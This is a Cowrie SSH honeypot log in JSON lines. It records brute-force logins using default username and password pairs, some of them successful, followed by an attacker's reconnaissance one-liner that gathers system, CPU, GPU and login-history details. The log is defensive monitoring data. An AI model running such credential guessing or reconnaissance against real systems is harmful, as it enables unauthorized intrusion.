{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:59.505528Z","src_ip":"101.44.96.62","session":"01e73723645d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:00.147135Z","src_ip":"101.44.96.62","session":"01e73723645d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:01.364916Z","src_ip":"101.44.96.62","session":"01e73723645d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"01d44b2988f7","protocol":"ssh","message":"New connection: 101.44.96.62:51288 (159.203.135.109:22) [session: 01d44b2988f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:12.827996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:12.832766Z","src_ip":"101.44.96.62","session":"01d44b2988f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:13.052625Z","src_ip":"101.44.96.62","session":"01d44b2988f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:13.703488Z","src_ip":"101.44.96.62","session":"01d44b2988f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:14.923537Z","src_ip":"101.44.96.62","session":"01d44b2988f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33112,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9aa6f95d239","protocol":"ssh","message":"New connection: 101.44.96.62:33112 (159.203.135.109:22) [session: c9aa6f95d239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:26.380856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:26.385230Z","src_ip":"101.44.96.62","session":"c9aa6f95d239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:26.602353Z","src_ip":"101.44.96.62","session":"c9aa6f95d239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:27.264324Z","src_ip":"101.44.96.62","session":"c9aa6f95d239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:28.483706Z","src_ip":"101.44.96.62","session":"c9aa6f95d239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43782,"dst_ip":"159.203.135.109","dst_port":22,"session":"259bc67ba82c","protocol":"ssh","message":"New connection: 101.44.96.62:43782 (159.203.135.109:22) [session: 259bc67ba82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:39.929736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:39.934117Z","src_ip":"101.44.96.62","session":"259bc67ba82c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:40.154418Z","src_ip":"101.44.96.62","session":"259bc67ba82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awsgui","password":"awsgui","message":"login attempt [awsgui/awsgui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:40.806737Z","src_ip":"101.44.96.62","session":"259bc67ba82c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:42.026989Z","src_ip":"101.44.96.62","session":"259bc67ba82c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":39858,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6143811e48","protocol":"ssh","message":"New connection: 91.92.240.199:39858 (159.203.135.109:22) [session: ad6143811e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:50.280430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:50.540049Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41672,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d8c24905e1","protocol":"ssh","message":"New connection: 101.44.96.62:41672 (159.203.135.109:22) [session: 74d8c24905e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:53.459347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:53.463633Z","src_ip":"101.44.96.62","session":"74d8c24905e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:53.680966Z","src_ip":"101.44.96.62","session":"74d8c24905e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:54.331579Z","src_ip":"101.44.96.62","session":"74d8c24905e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:55.533581Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:55.562950Z","src_ip":"101.44.96.62","session":"74d8c24905e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234567890","message":"login attempt [root/1234567890] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:11:59.696221Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:03.985107Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:03.988812Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:03.992785Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:03.996814Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:04.001401Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:04.005722Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:04.691540Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:04.697069Z","src_ip":"91.92.240.199","session":"ad6143811e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56336,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d3f70e6524","protocol":"ssh","message":"New connection: 101.44.96.62:56336 (159.203.135.109:22) [session: a6d3f70e6524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:07.008645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:07.013248Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:07.230566Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"passwd","message":"login attempt [root/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:07.888640Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:08.358189Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:12:08.361561Z","src_ip":"101.44.96.62","session":"a6d3f70e6524","protocol":"ssh"}
